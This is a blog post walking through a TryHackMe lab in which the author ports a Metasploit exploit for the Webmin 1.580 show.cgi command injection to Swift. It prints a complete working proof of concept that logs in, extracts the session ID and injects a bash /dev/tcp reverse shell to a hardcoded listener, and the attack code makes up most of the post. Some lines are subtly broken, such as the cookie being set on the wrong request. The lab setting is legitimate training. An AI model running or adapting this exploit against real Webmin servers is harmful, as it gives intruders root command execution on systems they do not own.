W.D. Neumann's Thing

Swiftsploit

I was recently working on an interesting exercise on Try Hack Me covering Proof of Concept Scripting. The exercise covers converting an existing Metasploit exploit ruby script into a stand alone script that can be used outside of Metasploit. Unfortunately, the exercise involved porting the exploit to Python, and I fucking hate Python. So what I did instead is port the exercise to Swift, which is what I've been doing most of my work in lately. There were a couple of interesting wrinkles involved in using Swift, so I thought I'd document it here before I forget everything involved.

The exploit in question is an old flaw in WebMin 1.580 that allowed authenticated users to run arbitrary code as root by taking advantage of a not properly sanitized cgi script string (in particular one that involves the | pipe character. As can be seen, the original exploit code has three main sections, initialize, check, and exploit.

The first section, initialize sets up the parameters we will need to perform the exploit, such as the target URL, and the credentials of a valid user. This section is necessary for Metasploit scripts which need to work within the Metasploit framework and accept settings from an interactive prompt, etc. We will just be hardcoding these vales in our code (though it wouldn't be hard to use command line arguments to make the script a bit more flexible. E.g.

let lhost = "10.2.51.19", lport = "1313"
let target = URL(string: "http://10.10.142.59")!
let uname = "user1"
let passwd = "1user"

The last two sections, check and exploit are used, respectively, to check if the target machine is vulnerable to the exploit or not and then to actually perform the exploit. As can be seen from the Metasploit code, these two functions share a lot of code. Really, the only difference is the command string we execute on the remote machine. The check uses a harmless echo command, the the exploit allows for arbitrary commands, most likely a reverse shell invocation. Because of this, we will combine the check and exploit functions into a single function which takes an optional string as input, with the user supplying nil to signal a check instead of the exploit. This function will do the bulk of our work. The outline of this function is as follows:

func exploit(command: String?) -> Bool {
  // Attempt to authenticate
  
  // extract session ID
  
  // use session ID to send command
  
  // return true if successful, false if anything fails
}

We can then run our check and exploit in succession:

if exploit(command: nil) {
  print("It's got the vulns")
  if exploit(command: "bash -c 'exec bash -i &>/dev/tcp/\(lhost)/\(lport)<&1'") {
    print("Haha… gotem!")
  } else {
    print("dunno")
  }
} else {
  print("Totes safesies; not gonna waste an exploit")
}

So, how are we going to fill in our exploit function? For the purpose of this article, we'll start with the last part first because it is pretty straight-forward. We will just need to assume that we already have our session ID saved in a variable sessionID. Using this we will create and send an HTTP request to the target that will execute our command.

To do this we will use the URLSession class (and related classes) from Swift's Foundation module (FoundationNetworking on Linux)., the standard way of making HTTP requests in Swift.

Using URLSession to make network requests

func exploit(command: String?) -> Bool {
  var vulnerable = false
  
  // Attempt to authenticate
  
  // extract session ID
  
  // use session ID to send command
  let flag = DispatchSemaphore(value: 0)
  let command = command ?? "echo \(randomAlphaNumeric(Int.random(in: 5..<10)))"
  let cmdPage = "/file/show.cgi/bin/\(randomAlphaNumeric(5))|\(command)|"
  let cmdRequest = URLRequest(url: target.appendingPathComponent(cmdPage))
  request.setValue("sid=\(sessionId)", forHTTPHeaderField: "Cookie")
  let task = 
    URLSession
      .shared
      .dataTask(with: cmdRequest) { (data: Data?, response: URLResponse?, error: Error?) -> Void in  
        // return true if successful, false if anything fails
        if let error = error {
          print("error:", error)
        } else if let response = response {
          let resp = (response as! HTTPURLResponse)
          if resp.statusCode == 200 {
            vulnerable = true
          } else {
            print("Weird response:", resp)
          }
          flag.signal()
        }
      }

  task.resume()
  flag.wait()
  return vulnerable
}

Here we start by creating a semaphore so we can wait for the result of our asynchronous request. We then check to see if a command was passed in to execute on the target, setting the command to echo a random alphanumeric string if nil was passed in. As seen in the previous listing, for the "check" phase, nil is passed in, for the "exploit" phase, we will pass in the reverse shell command "bash -c 'exec bash -i &>/dev/tcp/\(lhost)/\(lport)<&1'".

Next we create our request as a URLRequest for the URL:

http://url.of.vulnerablebox/file/show.cgi/bin/random|bash -c 'exec bash -i &>/dev/tcp/\(lhost)/\(lport)<&1'|

We then add the session ID to the request by adding it to the Cookie header of the request. Once the request is ready, a dataTask is created which will make the network request and, upon completion, will run the supplied closure as a completion handler, providing it with any errors encountered or and data or responses received. Here we just check to see if we received a status code of 200, which indicates the request ran successfully and the exploit worked (or the server is vulnerable if we are in the check phase). Finally, we start the task with resume(), wait for the request to complete and our semaphore to be cleared before returning our vulnerability indicator.

This is more-or-less the standard way to make a simple HTTP request in Swift (though the synchronization using semaphores may not be used, depending on program design). Despite being verbose, it is at least, straight-forward. Things are a bit trickier, however, when we want to implement the first part of the test, fetching the session ID.

Not following redirects

The problem with using the above method to fetch the session ID is that the URLSession class is designed to hide a lot of cruft from the user, handling things like handling proxy connections, reassembling large documents and, important for our case, following redirects automatically.

Normally, with URLSession, if the requested resource returns a redirect response, e.g. 302, then the URLSession will, by default, follow that redirect. So if you are trying to get info from that initial response, you need to override the default behavior by creating a session with a delegate that is called on redirects, allowing you to extract that information (and then either end the request or continue on).

In order to do this we create a new class which conforms to the URLSessionTaskDelegate protocol. Inside this class, we implement the method urlSession(_ , task, willPerformHTTPRedirection, newRequest, completionHandler). This method is called if a URLSession which we set up with our class as a delegate receives a redirection response. Said response will be passed into the function as the third parameter, and a generated URLRequest will also be passed in as the fourth parameter allowing one to follow the redirect if desired by passing it (or some other request) into the supplied completion handler after performing any desired tasks. If one doesn't wan to follow the redirect, but rather bow out of the session gracefully, they can simply call completionHandler and pass in nil instead. This is what we do in our class as we don't need to follow the redirect.

class MySessionDelegate: NSObject, URLSessionTaskDelegate {
  enum DelegateError: Error {
    case noDataOrResp
  }

  func urlSession(
    _ session: URLSession,
    task: URLSessionTask,
    willPerformHTTPRedirection response: HTTPURLResponse,
    newRequest request: URLRequest,
    completionHandler: @escaping (URLRequest?) -> Void
  ) {
    completionHandler(nil)
  }
}

Now, to use our delegate and retrieve the session ID, we add a class method to our class that sets up a URLSession with a default configuration, but using an instance our class as a delegate. We then set up a task which will capture the HTTPURLRespone we get after our delegate short-circuits the redirect. This response will be the redirect response itself. When our task's completion handler receives this response, it saves it to an external Result variable and signals a semaphore that we are waiting on, indicating it received a response (or an error). We then take this Result and pass it on to our caller.



  class func getRedirectInfo(request: URLRequest) -> Result<(Data, HTTPURLResponse), Error> {
    let semaphore = Dispatch.DispatchSemaphore(value: 0)
    let session: URLSession = {
      let configuration = URLSessionConfiguration.default
      configuration.waitsForConnectivity = true
      return URLSession(configuration: URLSessionConfiguration.default, delegate: MySessionDelegate(), delegateQueue: nil)
    }()
    var result: Result<(Data, HTTPURLResponse), Error>? = nil

    let task = session.dataTask(with: request) { (data: Data?, response: URLResponse?, error: Error?) -> Void in
      if let error = error {
        result = .failure(error)
      } else if let data = data, let response = response {
        result = .success((data, response as! HTTPURLResponse))
      } else {
        result = .failure(DelegateError.noDataOrResp)
      }
      semaphore.signal()
      session.finishTasksAndInvalidate()
    }

    task.resume()
    semaphore.wait()
    return result!
  }

We can then call this class method to make our first call and retrieve the session ID from it:

guard  case let .success((_, response)) = 
  MySessionDelegate.getRedirectInfo(request: request) 
else {
  print("Authentication failure")
  return vulnerable
}

print("Authentication successful")
let cookie = response.allHeaderFields["Set-Cookie"] as! String
guard cookie.contains("sid=") 
else { print("SID not returned in cookie"); return vulnerable }
let sessionId = 
  cookie.components(separatedBy: "sid=")[1]
        .prefix(while: { $0 != ";" })

Full Code of Exploit

Our full code listing for this PoC exploit is as follows:

import Foundation

func randomAlphaNumeric(_ count: Int) -> String {
  let alphaNum = "0123456789abcdefghijklmmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
  var res = ""
  for _ in 0..<count {
    res.append(alphaNum.randomElement()!)
  }
  return res
}

class MySessionDelegate: NSObject, URLSessionTaskDelegate {
  enum DelegateError: Error {
    case noDataOrResp
  }

  func urlSession(
    _ session: URLSession,
    task: URLSessionTask,
    willPerformHTTPRedirection response: HTTPURLResponse,
    newRequest request: URLRequest,
    completionHandler: @escaping (URLRequest?) -> Void
  ) {
    completionHandler(nil)
  }

  class func getRedirectInfo(request: URLRequest) -> Result<(Data, HTTPURLResponse), Error> {
    let semaphore = Dispatch.DispatchSemaphore(value: 0)
    let session: URLSession = {
      let configuration = URLSessionConfiguration.default
      configuration.waitsForConnectivity = true
      return URLSession(
        configuration: URLSessionConfiguration.default, 
        delegate: MySessionDelegate(), 
        delegateQueue: nil
      )
    }()
    var result: Result<(Data, HTTPURLResponse), Error>? = nil

    let task = session.dataTask(with: request) { (data: Data?, response: URLResponse?, error: Error?) -> Void in
      if let error = error {
        result = .failure(error)
      } else if let data = data, let response = response {
        result = .success((data, response as! HTTPURLResponse))
      } else {
        result = .failure(DelegateError.noDataOrResp)
      }
      semaphore.signal()
      session.finishTasksAndInvalidate()
    }

    task.resume()
    semaphore.wait()
    return result!
  }
}

let lhost = "10.2.51.19", lport = "1313"
let target = URL(string: "http://10.10.142.59")!
let uname = "user1"
let passwd = "1user"

func exploit(command: String?) -> Bool {
  var vulnerable = false
  let postData = 
    "page=%2F&user=\(uname)&pass=\(passwd)".data(using: .utf8)
  let page = "/session_login.cgi"
  var request = URLRequest(url: target.appendingPathComponent(page))
  request.httpMethod = "POST"
  request.httpBody = postData
  request.setValue("testing=1", forHTTPHeaderField: "Cookie")

  guard 
    case let .success((_, response)) = 
      MySessionDelegate.getRedirectInfo(request: request) 
  else {
    print("Authentication failure")
    return vulnerable
  }
  print("Authentication successful")
  let cookie = response.allHeaderFields["Set-Cookie"] as! String
  guard 
    cookie.contains("sid=") 
  else { print("SID not returned in cookie"); return vulnerable }
  let sessionId = cookie.components(separatedBy: "sid=")[1].prefix(while: { $0 != ";" })

  if command == nil {
    print("Attempting test injection…")
  } else {
    print("Attempting exploitation…")
  }

  let flag = DispatchSemaphore(value: 0)
  let command = 
    command ?? 
    "echo \(randomAlphaNumeric(Int.random(in: 5..<10)))"
  let cmdPage = "
    /file/show.cgi/bin/\(randomAlphaNumeric(5))|\(command)|"
  let cmdRequest = 
    URLRequest(url: target.appendingPathComponent(cmdPage))
  request.setValue("sid=\(sessionId)", forHTTPHeaderField: "Cookie")
  let task = URLSession.shared.dataTask(with: cmdRequest) { (data: Data?, response: URLResponse?, error: Error?) -> Void in
    if let error = error {
      print("error:", error)
    } else if let response = response {
      let resp = (response as! HTTPURLResponse)
      if resp.statusCode == 200 {
        vulnerable = true
      } else {
        print("Weird response:", resp)
      }
      flag.signal()
    }
  }

  task.resume()
  flag.wait()
  return vulnerable
}

if exploit(command: nil) {
  print("It's got the vulns")
  if exploit(command: "bash -c 'exec bash -i &>/dev/tcp/\(lhost)/\(lport)<&1'") {
    print("Haha… gotem!")
  } else {
    print("dunno")
  }
} else {
  print("Totes safesies; not gonna waste an exploit")
}
Tagged with: